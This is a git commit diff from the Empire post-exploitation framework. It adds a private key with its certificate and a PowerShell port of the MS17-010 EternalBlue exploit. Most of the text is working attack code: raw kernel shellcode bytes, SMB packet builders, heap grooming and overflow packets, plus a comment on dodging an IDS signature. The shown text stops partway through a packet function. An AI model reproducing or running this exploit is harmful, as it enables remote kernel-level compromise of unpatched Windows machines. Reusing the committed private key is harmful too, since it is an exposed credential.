Merge latest Empire-dev changes
parent
4876227d23
commit
e59364efcc
|
@ -1,5 +1,6 @@
|
||||||
data/empire.db
|
data/empire.db
|
||||||
data/empire.pem
|
data/empire-chain.pem
|
||||||
|
data/empire-priv.key
|
||||||
empire.debug
|
empire.debug
|
||||||
*.pyc
|
*.pyc
|
||||||
downloads/*
|
downloads/*
|
||||||
|
@ -11,3 +12,4 @@ data/misc/ToObfuscate.ps1
|
||||||
data/misc/Obfuscated.ps1
|
data/misc/Obfuscated.ps1
|
||||||
setup/xar*
|
setup/xar*
|
||||||
setup/bomutils/*
|
setup/bomutils/*
|
||||||
|
.venv
|
||||||
|
|
Binary file not shown.
|
@ -0,0 +1,46 @@
|
||||||
|
-----BEGIN PRIVATE KEY-----
|
||||||
|
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDT8qCR+GR2lVKG
|
||||||
|
M6G7pABaOIfCQKvzO3eckz8q+jVq2HgI34AvIg4tctgEnh4r1euxKtMkkSRmvedT
|
||||||
|
zZgPKh0UaEjROs5rIbXeRhqE7Ey6oVXcJG7DLYZ/Awk1G3Yi+TmtzRGGfE3VJ61O
|
||||||
|
V+gzTH2Q7jayFF1sNdpBk2Rs4I2VU46k/UWyHnPzIxbPlkBa5D/LiPnI+/b6qpqk
|
||||||
|
p/fsvewb6Xqb3PujemF+y/4jiHDtE9KicgxDh9u3niTi8Bg7fOWfBbhMaGIzITkK
|
||||||
|
WFXpJe9feDqxhoys5qUh8hfccFdNXz6QCBZiw5COq6s8ybimOBrmEs09IdGZi86T
|
||||||
|
bwGOQI3XAgMBAAECggEBANNjZiqwJuLuw0P+MwzG4WMahqyDe/w4D3AmnBXtP2G1
|
||||||
|
TOLspxhbSvChXjocydLGpTAqmjQaXsfqF9JJd6OISUCVUir8D+xhztZF7SUt2Mk7
|
||||||
|
KDtMSvx3Z3E+Qeyp2wW+tHxXz2bmi2pRDFTa8EhZvdLTA9JQ5WyLuYc1zi+ZNxz6
|
||||||
|
SzybS0Th9RJT0crPuhxEHxAN50pc61trRnI2YHYTaW4ArRbNFXImqRLsU9l9h9kz
|
||||||
|
VVlVoP9oIJos2a40Osi3Du+6tmVFWcs9+fxxNnY1sfVrAVk6nHI40Vln4Ul+BZyo
|
||||||
|
ZP8SMnxI9NoSMJahymjkcZad3tbwgvjq+yaQck1alGECgYEA/V14iLkCJoUK6dmU
|
||||||
|
zhR8p3Pycxy19s0CSSqPYvvnENfxarimOHW6nIMu0eDMXLVnIHAXsr81zWkeh4eP
|
||||||
|
GPEUSqclGwkXp4yHirMtoTFWhbo16QMSEFBKUHmwNJNSzScLR5jRGgVJapXr+qsN
|
||||||
|
WNlR3ifF+Ki6f87io9u8/rwUut0CgYEA1ibkSUs2POa0UcAXtE7G/Rsc7aEuVo9b
|
||||||
|
U+I5uIhMvveKm0Ff2oo1yQzDSxmjFhYzBeXsBQ6Jy796EcaLFpUc9H08kOsJq9gP
|
||||||
|
JAfSMljLasrqqAQ6J37CAmbEqHQ3MEdEFqUIk6Cf0iVmphXexd7LaDx2IuAy5Kfn
|
||||||
|
3MXH4KVo3kMCgYA2Yv4guzYO9rglAqPCqPspJuaAd0VIOTGoaw5kfRZYs0ILWp+z
|
||||||
|
tvHb7vz56Ht12yrL98PehtURxuLazOqWvAlTDRYV+5msSao+x7+fvmuIQTSZVCNo
|
||||||
|
hROuurBsWMOJbjwpnlAkecYMryn8oQM4c03zli4U9oMyNELKUbz8IXuBsQKBgQC0
|
||||||
|
4/klKBDSdJWQEFB1j61qEsLmvqVjnIgqXQcgppEdJf/AkQIkmWZBQzSbdTZa67mB
|
||||||
|
m+s3gkZHAqBb73eBRcdFhZvpVX+/1itD5g9ZU8PPm0OHVLrCrcG3QZOQL0qGz0vm
|
||||||
|
TNTnzl/xpIIGfKbGQSFUFO49G2Ah4Oprg+0IBvCD/QKBgQCZcIjPZDWMIRg/Q4Fj
|
||||||
|
ypUb59p8wCQHMuZNwuxRTwjQkAp3xpqYNIBafHSlPzNf8BWzx+orsLnh6RJbA8uB
|
||||||
|
9++4Wu01u4JofuGdVqN73AJBx8eQEJkJsPNEwxSv4Swzwkw5mGkqi5UzPFMlwwQi
|
||||||
|
DIF8+rA64PoZDIUB3UkV0i70ng==
|
||||||
|
-----END PRIVATE KEY-----
|
||||||
|
-----BEGIN CERTIFICATE-----
|
||||||
|
MIIC8DCCAdigAwIBAgIJAIVXuX8kX4CxMA0GCSqGSIb3DQEBCwUAMA0xCzAJBgNV
|
||||||
|
BAYTAlVTMB4XDTE3MDUxNzA1NDkxNVoXDTE4MDUxNzA1NDkxNVowDTELMAkGA1UE
|
||||||
|
BhMCVVMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDT8qCR+GR2lVKG
|
||||||
|
M6G7pABaOIfCQKvzO3eckz8q+jVq2HgI34AvIg4tctgEnh4r1euxKtMkkSRmvedT
|
||||||
|
zZgPKh0UaEjROs5rIbXeRhqE7Ey6oVXcJG7DLYZ/Awk1G3Yi+TmtzRGGfE3VJ61O
|
||||||
|
V+gzTH2Q7jayFF1sNdpBk2Rs4I2VU46k/UWyHnPzIxbPlkBa5D/LiPnI+/b6qpqk
|
||||||
|
p/fsvewb6Xqb3PujemF+y/4jiHDtE9KicgxDh9u3niTi8Bg7fOWfBbhMaGIzITkK
|
||||||
|
WFXpJe9feDqxhoys5qUh8hfccFdNXz6QCBZiw5COq6s8ybimOBrmEs09IdGZi86T
|
||||||
|
bwGOQI3XAgMBAAGjUzBRMB0GA1UdDgQWBBRietD7PGv5ivWBLRJMyra4elWlLjAf
|
||||||
|
BgNVHSMEGDAWgBRietD7PGv5ivWBLRJMyra4elWlLjAPBgNVHRMBAf8EBTADAQH/
|
||||||
|
MA0GCSqGSIb3DQEBCwUAA4IBAQCOU0aqgYba7aD7/7pV3rZrTFC+kwUs3TZ0/xWi
|
||||||
|
CZA8aN5+TRQDdvOUM1fqyJx5Y7uv+V9gafHwJAc7FZ9643zS6Zt0I2eUrbP9dmg7
|
||||||
|
sj8u19Isdy0EetDGXeyA7r+BRUSkFpKbXZYWE7rUr7t3QkROyGbU2ebEE/S2RnBc
|
||||||
|
A+/d7waKqIyu7wlmcP2jUgQjiwDiWJAuGeb9gJGsTjCj1I4z6rk6/xpnXV70ovG7
|
||||||
|
jUNm6tOTkxB5pgEel/2gHs/KZVld9gYSoh5GnJWtlFQYvZGaMEK419hfTMElLoQY
|
||||||
|
8JL+XvYxkA/4+zXtQS3ZgslAAZlh96Nx8SU8QWJ4qJ2jYQJg
|
||||||
|
-----END CERTIFICATE-----
|
|
@ -0,0 +1,713 @@
|
||||||
|
|
||||||
|
|
||||||
|
function Invoke-EternalBlue($Target, $InitialGrooms, $MaxAttempts, $Shellcode){
|
||||||
|
|
||||||
|
<#
|
||||||
|
.SYNOPSIS
|
||||||
|
PowerShell port of MS17_010 Metasploit module
|
||||||
|
Based on Eternal Blue metasploit module by Sean Dillon <sean.dillon@risksense.com>',
|
||||||
|
# @zerosum0x0 'Dylan Davis <dylan.davis@risksense.com>',
|
||||||
|
# @jennamagius
|
||||||
|
|
||||||
|
.PARAMETER Target.
|
||||||
|
Host to exploit
|
||||||
|
.PARAMETER InitialGrooms
|
||||||
|
Initial Grooms.
|
||||||
|
.PARAMETER MaxAttempts
|
||||||
|
number of times to run exploit
|
||||||
|
.PARAMETER ShellCode
|
||||||
|
ShellCode to execute on exploit
|
||||||
|
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
Invoke-EternalBlue -Target 127.0.0.1 -InitialGrooms 12 -MaxAttempts 12 -Shellcode @(0x90,0x90,0xC3)
|
||||||
|
#>
|
||||||
|
|
||||||
|
|
||||||
|
$enc = [system.Text.Encoding]::ASCII
|
||||||
|
|
||||||
|
|
||||||
|
$GROOM_DELTA = 5
|
||||||
|
|
||||||
|
|
||||||
|
function make_kernel_shellcode {
|
||||||
|
[Byte[]] $shellcode =@(0xB9,0x82,0x00,0x00,0xC0,0x0F,0x32,0x48,0xBB,0xF8,0x0F,0xD0,0xFF,0xFF,0xFF,0xFF,
|
||||||
|
0xFF,0x89,0x53,0x04,0x89,0x03,0x48,0x8D,0x05,0x0A,0x00,0x00,0x00,0x48,0x89,0xC2,
|
||||||
|
0x48,0xC1,0xEA,0x20,0x0F,0x30,0xC3,0x0F,0x01,0xF8,0x65,0x48,0x89,0x24,0x25,0x10,
|
||||||
|
0x00,0x00,0x00,0x65,0x48,0x8B,0x24,0x25,0xA8,0x01,0x00,0x00,0x50,0x53,0x51,0x52,
|
||||||
|
0x56,0x57,0x55,0x41,0x50,0x41,0x51,0x41,0x52,0x41,0x53,0x41,0x54,0x41,0x55,0x41,
|
||||||
|
0x56,0x41,0x57,0x6A,0x2B,0x65,0xFF,0x34,0x25,0x10,0x00,0x00,0x00,0x41,0x53,0x6A,
|
||||||
|
0x33,0x51,0x4C,0x89,0xD1,0x48,0x83,0xEC,0x08,0x55,0x48,0x81,0xEC,0x58,0x01,0x00,
|
||||||
|
0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x9D,0xC0,0x00,0x00,0x00,
|
||||||
|
0x48,0x89,0xBD,0xC8,0x00,0x00,0x00,0x48,0x89,0xB5,0xD0,0x00,0x00,0x00,0x48,0xA1,
|
||||||
|
0xF8,0x0F,0xD0,0xFF,0xFF,0xFF,0xFF,0xFF,0x48,0x89,0xC2,0x48,0xC1,0xEA,0x20,0x48,
|
||||||
|
0x31,0xDB,0xFF,0xCB,0x48,0x21,0xD8,0xB9,0x82,0x00,0x00,0xC0,0x0F,0x30,0xFB,0xE8,
|
||||||
|
0x38,0x00,0x00,0x00,0xFA,0x65,0x48,0x8B,0x24,0x25,0xA8,0x01,0x00,0x00,0x48,0x83,
|
||||||
|
0xEC,0x78,0x41,0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x41,0x5B,0x41,0x5A,0x41,0x59,
|
||||||
|
0x41,0x58,0x5D,0x5F,0x5E,0x5A,0x59,0x5B,0x58,0x65,0x48,0x8B,0x24,0x25,0x10,0x00,
|
||||||
|
0x00,0x00,0x0F,0x01,0xF8,0xFF,0x24,0x25,0xF8,0x0F,0xD0,0xFF,0x56,0x41,0x57,0x41,
|
||||||
|
0x56,0x41,0x55,0x41,0x54,0x53,0x55,0x48,0x89,0xE5,0x66,0x83,0xE4,0xF0,0x48,0x83,
|
||||||
|
0xEC,0x20,0x4C,0x8D,0x35,0xE3,0xFF,0xFF,0xFF,0x65,0x4C,0x8B,0x3C,0x25,0x38,0x00,
|
||||||
|
0x00,0x00,0x4D,0x8B,0x7F,0x04,0x49,0xC1,0xEF,0x0C,0x49,0xC1,0xE7,0x0C,0x49,0x81,
|
||||||
|
0xEF,0x00,0x10,0x00,0x00,0x49,0x8B,0x37,0x66,0x81,0xFE,0x4D,0x5A,0x75,0xEF,0x41,
|
||||||
|
0xBB,0x5C,0x72,0x11,0x62,0xE8,0x18,0x02,0x00,0x00,0x48,0x89,0xC6,0x48,0x81,0xC6,
|
||||||
|
0x08,0x03,0x00,0x00,0x41,0xBB,0x7A,0xBA,0xA3,0x30,0xE8,0x03,0x02,0x00,0x00,0x48,
|
||||||
|
0x89,0xF1,0x48,0x39,0xF0,0x77,0x11,0x48,0x8D,0x90,0x00,0x05,0x00,0x00,0x48,0x39,
|
||||||
|
0xF2,0x72,0x05,0x48,0x29,0xC6,0xEB,0x08,0x48,0x8B,0x36,0x48,0x39,0xCE,0x75,0xE2,
|
||||||
|
0x49,0x89,0xF4,0x31,0xDB,0x89,0xD9,0x83,0xC1,0x04,0x81,0xF9,0x00,0x00,0x01,0x00,
|
||||||
|
0x0F,0x8D,0x66,0x01,0x00,0x00,0x4C,0x89,0xF2,0x89,0xCB,0x41,0xBB,0x66,0x55,0xA2,
|
||||||
|
0x4B,0xE8,0xBC,0x01,0x00,0x00,0x85,0xC0,0x75,0xDB,0x49,0x8B,0x0E,0x41,0xBB,0xA3,
|
||||||
|
0x6F,0x72,0x2D,0xE8,0xAA,0x01,0x00,0x00,0x48,0x89,0xC6,0xE8,0x50,0x01,0x00,0x00,
|
||||||
|
0x41,0x81,0xF9,0xBF,0x77,0x1F,0xDD,0x75,0xBC,0x49,0x8B,0x1E,0x4D,0x8D,0x6E,0x10,
|
||||||
|
0x4C,0x89,0xEA,0x48,0x89,0xD9,0x41,0xBB,0xE5,0x24,0x11,0xDC,0xE8,0x81,0x01,0x00,
|
||||||
|
0x00,0x6A,0x40,0x68,0x00,0x10,0x00,0x00,0x4D,0x8D,0x4E,0x08,0x49,0xC7,0x01,0x00,
|
||||||
|
0x10,0x00,0x00,0x4D,0x31,0xC0,0x4C,0x89,0xF2,0x31,0xC9,0x48,0x89,0x0A,0x48,0xF7,
|
||||||
|
0xD1,0x41,0xBB,0x4B,0xCA,0x0A,0xEE,0x48,0x83,0xEC,0x20,0xE8,0x52,0x01,0x00,0x00,
|
||||||
|
0x85,0xC0,0x0F,0x85,0xC8,0x00,0x00,0x00,0x49,0x8B,0x3E,0x48,0x8D,0x35,0xE9,0x00,
|
||||||
|
0x00,0x00,0x31,0xC9,0x66,0x03,0x0D,0xD7,0x01,0x00,0x00,0x66,0x81,0xC1,0xF9,0x00,
|
||||||
|
0xF3,0xA4,0x48,0x89,0xDE,0x48,0x81,0xC6,0x08,0x03,0x00,0x00,0x48,0x89,0xF1,0x48,
|
||||||
|
0x8B,0x11,0x4C,0x29,0xE2,0x51,0x52,0x48,0x89,0xD1,0x48,0x83,0xEC,0x20,0x41,0xBB,
|
||||||
|
0x26,0x40,0x36,0x9D,0xE8,0x09,0x01,0x00,0x00,0x48,0x83,0xC4,0x20,0x5A,0x59,0x48,
|
||||||
|
0x85,0xC0,0x74,0x18,0x48,0x8B,0x80,0xC8,0x02,0x00,0x00,0x48,0x85,0xC0,0x74,0x0C,
|
||||||
|
0x48,0x83,0xC2,0x4C,0x8B,0x02,0x0F,0xBA,0xE0,0x05,0x72,0x05,0x48,0x8B,0x09,0xEB,
|
||||||
|
0xBE,0x48,0x83,0xEA,0x4C,0x49,0x89,0xD4,0x31,0xD2,0x80,0xC2,0x90,0x31,0xC9,0x41,
|
||||||
|
0xBB,0x26,0xAC,0x50,0x91,0xE8,0xC8,0x00,0x00,0x00,0x48,0x89,0xC1,0x4C,0x8D,0x89,
|
||||||
|
0x80,0x00,0x00,0x00,0x41,0xC6,0x01,0xC3,0x4C,0x89,0xE2,0x49,0x89,0xC4,0x4D,0x31,
|
||||||
|
0xC0,0x41,0x50,0x6A,0x01,0x49,0x8B,0x06,0x50,0x41,0x50,0x48,0x83,0xEC,0x20,0x41,
|
||||||
|
0xBB,0xAC,0xCE,0x55,0x4B,0xE8,0x98,0x00,0x00,0x00,0x31,0xD2,0x52,0x52,0x41,0x58,
|
||||||
|
0x41,0x59,0x4C,0x89,0xE1,0x41,0xBB,0x18,0x38,0x09,0x9E,0xE8,0x82,0x00,0x00,0x00,
|
||||||
|
0x4C,0x89,0xE9,0x41,0xBB,0x22,0xB7,0xB3,0x7D,0xE8,0x74,0x00,0x00,0x00,0x48,0x89,
|
||||||
|
0xD9,0x41,0xBB,0x0D,0xE2,0x4D,0x85,0xE8,0x66,0x00,0x00,0x00,0x48,0x89,0xEC,0x5D,
|
||||||
|
0x5B,0x41,0x5C,0x41,0x5D,0x41,0x5E,0x41,0x5F,0x5E,0xC3,0xE9,0xB5,0x00,0x00,0x00,
|
||||||
|
0x4D,0x31,0xC9,0x31,0xC0,0xAC,0x41,0xC1,0xC9,0x0D,0x3C,0x61,0x7C,0x02,0x2C,0x20,
|
||||||
|
0x41,0x01,0xC1,0x38,0xE0,0x75,0xEC,0xC3,0x31,0xD2,0x65,0x48,0x8B,0x52,0x60,0x48,
|
||||||
|
0x8B,0x52,0x18,0x48,0x8B,0x52,0x20,0x48,0x8B,0x12,0x48,0x8B,0x72,0x50,0x48,0x0F,
|
||||||
|
0xB7,0x4A,0x4A,0x45,0x31,0xC9,0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0x41,
|
||||||
|
0xC1,0xC9,0x0D,0x41,0x01,0xC1,0xE2,0xEE,0x45,0x39,0xD9,0x75,0xDA,0x4C,0x8B,0x7A,
|
||||||
|
0x20,0xC3,0x4C,0x89,0xF8,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x89,0xC2,0x8B,
|
||||||
|
0x42,0x3C,0x48,0x01,0xD0,0x8B,0x80,0x88,0x00,0x00,0x00,0x48,0x01,0xD0,0x50,0x8B,
|
||||||
|
0x48,0x18,0x44,0x8B,0x40,0x20,0x49,0x01,0xD0,0x48,0xFF,0xC9,0x41,0x8B,0x34,0x88,
|
||||||
|
0x48,0x01,0xD6,0xE8,0x78,0xFF,0xFF,0xFF,0x45,0x39,0xD9,0x75,0xEC,0x58,0x44,0x8B,
|
||||||
|
0x40,0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C,0x48,0x44,0x8B,0x40,0x1C,0x49,0x01,
|
||||||
|
0xD0,0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x5E,0x59,0x5A,0x41,0x58,0x41,0x59,0x41,
|
||||||
|
0x5B,0x41,0x53,0xFF,0xE0,0x56,0x41,0x57,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,
|
||||||
|
0x41,0xBB,0xDA,0x16,0xAF,0x92,0xE8,0x4D,0xFF,0xFF,0xFF,0x31,0xC9,0x51,0x51,0x51,
|
||||||
|
0x51,0x41,0x59,0x4C,0x8D,0x05,0x1A,0x00,0x00,0x00,0x5A,0x48,0x83,0xEC,0x20,0x41,
|
||||||
|
0xBB,0x46,0x45,0x1B,0x22,0xE8,0x68,0xFF,0xFF,0xFF,0x48,0x89,0xEC,0x5D,0x41,0x5F,
|
||||||
|
0x5E,0xC3)
|
||||||
|
return $shellcode
|
||||||
|
}
|
||||||
|
|
||||||
|
function make_kernel_user_payload($ring3) {
|
||||||
|
$sc = make_kernel_shellcode
|
||||||
|
$sc += [bitconverter]::GetBytes([uint16] ($ring3.length))
|
||||||
|
$sc += $ring3
|
||||||
|
return $sc
|
||||||
|
}
|
||||||
|
function make_smb2_payload_headers_packet(){
|
||||||
|
[Byte[]] $pkt = [Byte[]](0x00,0x00,0xff,0xf7,0xFE) + [system.Text.Encoding]::ASCII.GetBytes("SMB") + [Byte[]](0x00)*124
|
||||||
|
|
||||||
|
return $pkt
|
||||||
|
}
|
||||||
|
|
||||||
|
function make_smb2_payload_body_packet($kernel_user_payload) {
|
||||||
|
$pkt_max_len = 4204
|
||||||
|
$pkt_setup_len = 497
|
||||||
|
$pkt_max_payload = $pkt_max_len - $pkt_setup_len
|
||||||
|
|
||||||
|
#padding
|
||||||
|
[Byte[]] $pkt = [Byte[]] (0x00) * 0x8
|
||||||
|
$pkt += 0x03,0x00,0x00,0x00
|
||||||
|
$pkt += [Byte[]] (0x00) * 0x1c
|
||||||
|
$pkt += 0x03,0x00,0x00,0x00
|
||||||
|
$pkt += [Byte[]] (0x00) * 0x74
|
||||||
|
|
||||||
|
# KI_USER_SHARED_DATA addresses
|
||||||
|
$pkt += [Byte[]] (0xb0,0x00,0xd0,0xff,0xff,0xff,0xff,0xff) * 2 # x64 address
|
||||||
|
$pkt += [Byte[]] (0x00) * 0x10
|
||||||
|
$pkt += [Byte[]] (0xc0,0xf0,0xdf,0xff) * 2 # x86 address
|
||||||
|
$pkt += [Byte[]] (0x00) * 0xc4
|
||||||
|
|
||||||
|
# payload addreses
|
||||||
|
$pkt += 0x90,0xf1,0xdf,0xff
|
||||||
|
$pkt += [Byte[]] (0x00) * 0x4
|
||||||
|
$pkt += 0xf0,0xf1,0xdf,0xff
|
||||||
|
$pkt += [Byte[]] (0x00) * 0x40
|
||||||
|
|
||||||
|
$pkt += 0xf0,0x01,0xd0,0xff,0xff,0xff,0xff,0xff
|
||||||
|
$pkt += [Byte[]] (0x00) * 0x8
|
||||||
|
$pkt += 0x00,0x02,0xd0,0xff,0xff,0xff,0xff,0xff
|
||||||
|
$pkt += 0x00
|
||||||
|
|
||||||
|
$pkt += $kernel_user_payload
|
||||||
|
|
||||||
|
# fill out the rest, this can be randomly generated
|
||||||
|
$pkt += 0x00 * ($pkt_max_payload - $kernel_user_payload.length)
|
||||||
|
|
||||||
|
return $pkt
|
||||||
|
}
|
||||||
|
|
||||||
|
function make_smb1_echo_packet($tree_id, $user_id) {
|
||||||
|
[Byte[]] $pkt = [Byte[]] (0x00) # type
|
||||||
|
$pkt += 0x00,0x00,0x31 # len = 49
|
||||||
|
$pkt += [Byte[]] (0xff) + $enc.GetBytes("SMB") # SMB1
|
||||||
|
$pkt += 0x2b # Echo
|
||||||
|
$pkt += 0x00,0x00,0x00,0x00 # Success
|
||||||
|
$pkt += 0x18 # flags
|
||||||
|
$pkt += 0x07,0xc0 # flags2
|
||||||
|
$pkt += 0x00,0x00 # PID High
|
||||||
|
$pkt += 0x00,0x00,0x00,0x00 # Signature1
|
||||||
|
$pkt += 0x00,0x00,0x00,0x00 # Signature2
|
||||||
|
$pkt += 0x00,0x00 # Reserved
|
||||||
|
$pkt += $tree_id # Tree ID
|
||||||
|
$pkt += 0xff,0xfe # PID
|
||||||
|
$pkt += $user_id # UserID
|
||||||
|
$pkt += 0x40,0x00 # MultiplexIDs
|
||||||
|
|
||||||
|
$pkt += 0x01 # Word count
|
||||||
|
$pkt += 0x01,0x00 # Echo count
|
||||||
|
$pkt += 0x0c,0x00 # Byte count
|
||||||
|
|
||||||
|
# echo data
|
||||||
|
# this is an existing IDS signature, and can be nulled out
|
||||||
|
#$pkt += 0x4a,0x6c,0x4a,0x6d,0x49,0x68,0x43,0x6c,0x42,0x73,0x72,0x00
|
||||||
|
$pkt += 0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x00
|
||||||
|
return $pkt
|
||||||
|
}
|
||||||
|
|
||||||
|
function make_smb1_trans2_exploit_packet($tree_id, $user_id, $type, $timeout) {
|
||||||
|
$timeout = ($timeout * 0x10) + 3
|
||||||
|
|
||||||
|
[Byte[]] $pkt = [Byte[]] (0x00) # Session message
|
||||||
|
$pkt += 0x00,0x10,0x35 # length
|
||||||
|
$pkt += 0xff,0x53,0x4D,0x42 # SMB1
|
||||||
|
$pkt += 0x33 # Trans2 request
|
||||||
|
$pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS
|
||||||
|
$pkt += 0x18 # Flags
|
||||||
|
$pkt += 0x07,0xc0 # Flags2
|
||||||
|
$pkt += 0x00,0x00 # PID High
|
||||||
|
$pkt += 0x00,0x00,0x00,0x00 # Signature1
|
||||||
|
$pkt += 0x00,0x00,0x00,0x00 # Signature2
|
||||||
|
$pkt += 0x00,0x00 # Reserved
|
||||||
|
$pkt += $user_id # TreeID
|
||||||
|
$pkt += 0xff,0xfe # PID
|
||||||
|
$pkt += $user_id # UserID
|
||||||
|
$pkt += 0x40,0x00 # MultiplexIDs
|
||||||
|
|
||||||
|
$pkt += 0x09 # Word Count
|
||||||
|
$pkt += 0x00,0x00 # Total Param Count
|
||||||
|
$pkt += 0x00,0x10 # Total Data Count
|
||||||
|
$pkt += 0x00,0x00 # Max Param Count
|
||||||
|
$pkt += 0x00,0x00 # Max Data Count
|
||||||
|
$pkt += 0x00 # Max Setup Count
|
||||||
|
$pkt += 0x00 # Reserved
|
||||||
|
$pkt += 0x00,0x10 # Flags
|
||||||
|
$pkt += 0x35,0x00,0xd0 # Timeouts
|
||||||
|
$pkt += [bitconverter]::GetBytes($timeout)[0] #timeout is a single int
|
||||||
|
$pkt += 0x00,0x00 # Reserved
|
||||||
|
$pkt += 0x00,0x10 # Parameter Count
|
||||||
|
|
||||||
|
#$pkt += 0x74,0x70 # Parameter Offset
|
||||||
|
#$pkt += 0x47,0x46 # Data Count
|
||||||
|
#$pkt += 0x45,0x6f # Data Offset
|
||||||
|
#$pkt += 0x4c # Setup Count
|
||||||
|
#$pkt += 0x4f # Reserved
|
||||||
|
|
||||||
|
if ($type -eq "eb_trans2_exploit") {
|
||||||
|
|
||||||
|
$pkt += [Byte[]] (0x41) * 2957
|
||||||
|
|
||||||
|
$pkt += 0x80,0x00,0xa8,0x00 # overflow
|
||||||
|
|
||||||
|
$pkt += [Byte[]] (0x00) * 0x10
|
||||||
|
$pkt += 0xff,0xff
|
||||||
|
$pkt += [Byte[]] (0x00) * 0x6
|
||||||
|
$pkt += 0xff,0xff
|
||||||
|
$pkt += [Byte[]] (0x00) * 0x16
|
||||||
|
|
||||||
|
$pkt += 0x00,0xf1,0xdf,0xff # x86 addresses
|
||||||
|
$pkt += [Byte[]] (0x00) * 0x8
|
||||||
|
$pkt += 0x20,0xf0,0xdf,0xff
|
||||||
|
|
||||||
|
$pkt += 0x00,0xf1,0xdf,0xff,0xff,0xff,0xff,0xff # x64
|
||||||
|
|
||||||
|
$pkt += 0x60,0x00,0x04,0x10
|
||||||
|
$pkt += [Byte[]] (0x00) * 4
|
||||||
|
|
||||||
|
$pkt += 0x80,0xef,0xdf,0xff
|
||||||
|
|
||||||
|
$pkt += [Byte[]] (0x00) * 4
|
||||||
|
$pkt += 0x10,0x00,0xd0,0xff,0xff,0xff,0xff,0xff
|
||||||
|
$pkt += 0x18,0x01,0xd0,0xff,0xff,0xff,0xff,0xff
|
||||||
|
$pkt += [Byte[]] (0x00) * 0x10
|
||||||
|
|
||||||
|
$pkt += 0x60,0x00,0x04,0x10
|
||||||
|
$pkt += [Byte[]] (0x00) * 0xc
|
||||||
|
$pkt += 0x90,0xff,0xcf,0xff,0xff,0xff,0xff,0xff
|
||||||
|
$pkt += [Byte[]] (0x00) * 0x8
|
||||||
|
$pkt += 0x80,0x10
|
||||||
|
$pkt += [Byte[]] (0x00) * 0xe
|
||||||
|
$pkt += 0x39
|
||||||
|
$pkt += 0xbb
|
||||||
|
|
||||||
|
$pkt += [Byte[]] (0x41) * 965
|
||||||
|
|
||||||
|
return $pkt
|
||||||
|
}
|
||||||
|
|
||||||
|
if($type -eq "eb_trans2_zero") {
|
||||||
|
$pkt += [Byte[]] (0x00) * 2055
|
||||||
|
$pkt += 0x83,0xf3
|
||||||
|
$pkt += [Byte[]] (0x41) * 2039
|
||||||
|
#$pkt += 0x00 * 4096
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$pkt += [Byte[]] (0x41) * 4096
|
||||||
|
}
|
||||||
|
|
||||||
|
return $pkt
|
||||||
|
}
|
||||||
|
function negotiate_proto_request()
|
||||||
|
{
|
||||||
|
|
||||||
|
[Byte[]] $pkt = [Byte[]] (0x00) # Message_Type
|
||||||
|
$pkt += 0x00,0x00,0x54 # Length
|
||||||
|
|
||||||
|
$pkt += 0xFF,0x53,0x4D,0x42 # server_component: .SMB
|
||||||
|
$pkt += 0x72 # smb_command: Negotiate Protocol
|
||||||
|
$pkt += 0x00,0x00,0x00,0x00 # nt_status
|
||||||
|
$pkt += 0x18 # flags
|
||||||
|
$pkt += 0x01,0x28 # flags2
|
||||||
|
$pkt += 0x00,0x00 # process_id_high
|
||||||
|
$pkt += 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 # signature
|
||||||
|
$pkt += 0x00,0x00 # reserved
|
||||||
|
$pkt += 0x00,0x00 # tree_id
|
||||||
|
$pkt += 0x2F,0x4B # process_id
|
||||||
|
$pkt += 0x00,0x00 # user_id
|
||||||
|
$pkt += 0xC5,0x5E # multiplex_id
|
||||||
|
|
||||||
|
$pkt += 0x00 # word_count
|
||||||
|
$pkt += 0x31,0x00 # byte_count
|
||||||
|
|
||||||
|
# Requested Dialects
|
||||||
|
$pkt += 0x02 # dialet_buffer_format
|
||||||
|
$pkt += 0x4C,0x41,0x4E,0x4D,0x41,0x4E,0x31,0x2E,0x30,0x00 # dialet_name: LANMAN1.0
|
||||||
|
|
||||||
|
$pkt += 0x02 # dialet_buffer_format
|
||||||
|
$pkt += 0x4C,0x4D,0x31,0x2E,0x32,0x58,0x30,0x30,0x32,0x00 # dialet_name: LM1.2X002
|
||||||
|
|
||||||
|
$pkt += 0x02 # dialet_buffer_format
|
||||||
|
$pkt += 0x4E,0x54,0x20,0x4C,0x41,0x4E,0x4D,0x41,0x4E,0x20,0x31,0x2E,0x30,0x00 # dialet_name3: NT LANMAN 1.0
|
||||||
|
|
||||||
|
$pkt += 0x02 # dialet_buffer_format
|
||||||
|
$pkt += 0x4E,0x54,0x20,0x4C,0x4D,0x20,0x30,0x2E,0x31,0x32,0x00 # dialet_name4: NT LM 0.12
|
||||||
|
|
||||||
|
return $pkt
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
function make_smb1_nt_trans_packet($tree_id, $user_id) {
|
||||||
|
|
||||||
|
[Byte[]] $pkt = [Byte[]] (0x00) # Session message
|
||||||
|
$pkt += 0x00,0x04,0x38 # length
|
||||||
|
$pkt += 0xff,0x53,0x4D,0x42 # SMB1
|
||||||
|
$pkt += 0xa0 # NT Trans
|
||||||
|
$pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS
|
||||||
|
$pkt += 0x18 # Flags
|
||||||
|
$pkt += 0x07,0xc0 # Flags2
|
||||||
|
$pkt += 0x00,0x00 # PID High
|
||||||
|
$pkt += 0x00,0x00,0x00,0x00 # Signature1
|
||||||
|
$pkt += 0x00,0x00,0x00,0x00 # Signature2
|
||||||
|
$pkt += 0x00,0x00 # Reserved
|
||||||
|
$pkt += $tree_id # TreeID
|
||||||
|
$pkt += 0xff,0xfe # PID
|
||||||
|
$pkt += $user_id # UserID
|
||||||
|
$pkt += 0x40,0x00 # MultiplexID
|
||||||
|
|
||||||
|
$pkt += 0x14 # Word Count
